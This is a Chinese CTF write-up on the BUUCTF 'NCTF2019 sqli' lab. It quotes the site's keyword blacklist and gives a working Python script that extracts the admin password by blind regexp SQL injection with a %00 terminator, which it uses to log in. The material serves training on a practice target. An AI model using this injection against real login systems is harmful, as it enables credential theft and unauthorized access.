当前位置: 首页 > article >正文

55.【5】BUUCTF WEB NCTF2019 sqli

84a7123a1d9d4457a08e2ac629899a59.jpeg

进入靶场

ab709a96da1a4261b40487f4493d43fa.png

db5118865f3f40f3b3a3d68628670d70.png

3c1f518c629344d89d979b29c0f5950a.png

输入admin 123

ad169294aadf442e9c81bc832329e010.png

05830aac7e6c47499dc7ff999e8da65f.png

过滤的这么严格???

08e6a2ad75ee4aef85dbe03e84266f74.png

0fef2b62ac5d4a62878809b5047b4cbb.png

过滤很严格,此时要么爆破,要么扫描

直接扫描,得到robots.txt

a88cfa3274224cc3a873c55e8871f40d.png

访问后又得到hint.txt

继续访问

3753893fcdf6475682ff8be3c71f196c.png

图片内容如下

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

所以我们必须要绕过黑名单,而且密码必须等于管理员的密码,但admin也被过滤了

看了别人的wp

需要进行正则匹配,需要python脚本

下面的代码会跑出密码

import requests
from urllib import parse
import string

url = '。。。。。。。。。。。。'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_'
for i in range (1,60):
    if num == 1 :
        break
    for j in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
        }
        print(result+j)
        res = requests.post(url=url,data=data)
        if 'welcome' in res.text:
            result += j
            break
        if j=='_' and 'welcome' not in res.text:
            break

 

709d34974d6e426e8aadc52642e1c7e9.png

此时输入用户名(只要不是黑名单里的就行)和密码(跑出来的)即可

69d62d0c8147479cb3bd4571b5d47df0.png

over

笔记

1,连续2道题用到python脚本了

2,学习了正则匹配

 

 

 


http://www.kler.cn/a/508037.html

相关文章:

  • 51.WPF应用加图标指南 C#例子 WPF例子
  • 【NextJS】PostgreSQL 遇上 Prisma ORM
  • 贪心算法(题1)区间选点
  • TinyEngine v2.1版本发布:全新的区块方案和画布通信方案,打造更强力的可拓展低代码引擎
  • Kafka权威指南(第2版)读书笔记
  • 02JavaWeb——JavaScript-Vue(项目实战)
  • 前端框架: Vue3组件设计模式
  • 【经典神经网络架构解析篇】【6】MobileNet网络详解:模型结构解析、创新点、代码实现
  • 重拾Python学习,先从把python删除开始。。。
  • 电子应用设计方案94:智能AI门禁系统设计
  • ubuntu下安装编译cmake,grpc与protobuf
  • 基于微信小程序的中国各地美食推荐平台的设计与实现springboot+论文源码调试讲解
  • 日拱一卒(20)——leetcode学习记录:大小为 K 且平均值大于等于阈值的子数组数目
  • Android wifi热点开关代码记录
  • 代码随想录算法训练营第三十五天-动态规划-01背包(一维)
  • 敏感信息数据搜集系统全英文
  • 【MySQL】表操作
  • C语言的语法糖
  • IvorySQL 4.2 发布
  • 25/1/17 嵌入式笔记 STM32F103
  • 利用.NET版Word处理控件Aspose.Words,使用 C# 在 Word 中创建图表
  • MySQL SQL优化技巧与原理
  • 【HarmonyOS之旅】基于ArkTS开发(二) -> UI开发三
  • 如何实现圆形头像效果
  • 基于TypeScript封装 `axios` 请求工具详解
  • openharmony测试子系统